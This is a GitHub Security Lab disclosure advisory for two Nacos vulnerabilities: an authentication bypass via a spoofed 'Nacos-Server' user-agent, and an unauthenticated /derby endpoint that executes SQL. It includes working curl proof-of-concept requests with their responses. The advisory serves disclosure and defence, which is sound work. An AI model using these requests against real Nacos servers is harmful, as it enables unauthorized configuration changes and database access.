Coordinated Disclosure Timeline
- 2020-12-10: Report sent for internal review.
- 2020-12-12: Report sent to security@service.alibaba.com
- 2021-02-19: Requested status update with no response.
- 2021-03-16: Requested status update with no response.
- 2021-03-14: Disclosure deadline reached.
- 2021-04-08: Requested new Alibaba security contact via tweet
- 2021-04-08: Alibaba Security Response Center (ASRC) respond to the original report after being mentioned on Twitter. They claim the original report went to the spam box and that “the mailbox rule needs to be checked”.
- 2021-04-08: ASRC states that both issues were later reported by a different security researcher and that are now fixed in 1.4.1.
- 2021-04-14: Publication as per our disclosure policy.
Summary
When enabled, Nacos authentication can be bypassed which enables an attacker to access any console or REST API endpoints.
Product
Nacos
Tested Version
Latest commit at the date of reporting (b8b57dc)
Details
Issue 1: Authentication bypass (GHSL-2020-325)
When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
The following request to the configuration endpoint gets rejected as we are not providing any credentials:
❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}
However the following one gets accepted by using the Nacos-Server user-agent header:
❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true
Impact
This issue may allow any user to carry out any administrative tasks on the Nacos server.
Issue 2: Missing Authentication check (GHSL-2020-326)
The ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users.
For example, the following request will list the tables of the database:
❯ curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st'
{"code":200,"message":null,"data":[{"TABLENAME":"APP_CONFIGDATA_RELATION_PUBS"},{"TABLENAME":"APP_CONFIGDATA_RELATION_SUBS"},{"TABLENAME":"APP_LIST"},{"TABLENAME":"CONFIG_INFO"},{"TABLENAME":"CONFIG_INFO_AGGR"},{"TABLENAME":"CONFIG_INFO_BETA"},{"TABLENAME":"CONFIG_INFO_TAG"},{"TABLENAME":"CONFIG_TAGS_RELATION"},{"TABLENAME":"GROUP_CAPACITY"},{"TABLENAME":"HIS_CONFIG_INFO"},{"TABLENAME":"PERMISSIONS"},{"TABLENAME":"ROLES"},{"TABLENAME":"SYSALIASES"},{"TABLENAME":"SYSCHECKS"},{"TABLENAME":"SYSCOLPERMS"},{"TABLENAME":"SYSCOLUMNS"},{"TABLENAME":"SYSCONGLOMERATES"},{"TABLENAME":"SYSCONSTRAINTS"},{"TABLENAME":"SYSDEPENDS"},{"TABLENAME":"SYSDUMMY1"},{"TABLENAME":"SYSFILES"},{"TABLENAME":"SYSFOREIGNKEYS"},{"TABLENAME":"SYSKEYS"},{"TABLENAME":"SYSPERMS"},{"TABLENAME":"SYSROLES"},{"TABLENAME":"SYSROUTINEPERMS"},{"TABLENAME":"SYSSCHEMAS"},{"TABLENAME":"SYSSEQUENCES"},{"TABLENAME":"SYSSTATEMENTS"},{"TABLENAME":"SYSSTATISTICS"},{"TABLENAME":"SYSTABLEPERMS"},{"TABLENAME":"SYSTABLES"},{"TABLENAME":"SYSTRIGGERS"},{"TABLENAME":"SYSUSERS"},{"TABLENAME":"SYSVIEWS"},{"TABLENAME":"TENANT_CAPACITY"},{"TABLENAME":"TENANT_INFO"},{"TABLENAME":"USERS"}]}%
These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
CVE
- CVE-2021-29441
- CVE-2021-29442
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-325 and GHSL-2020-326 in any communication regarding this issue.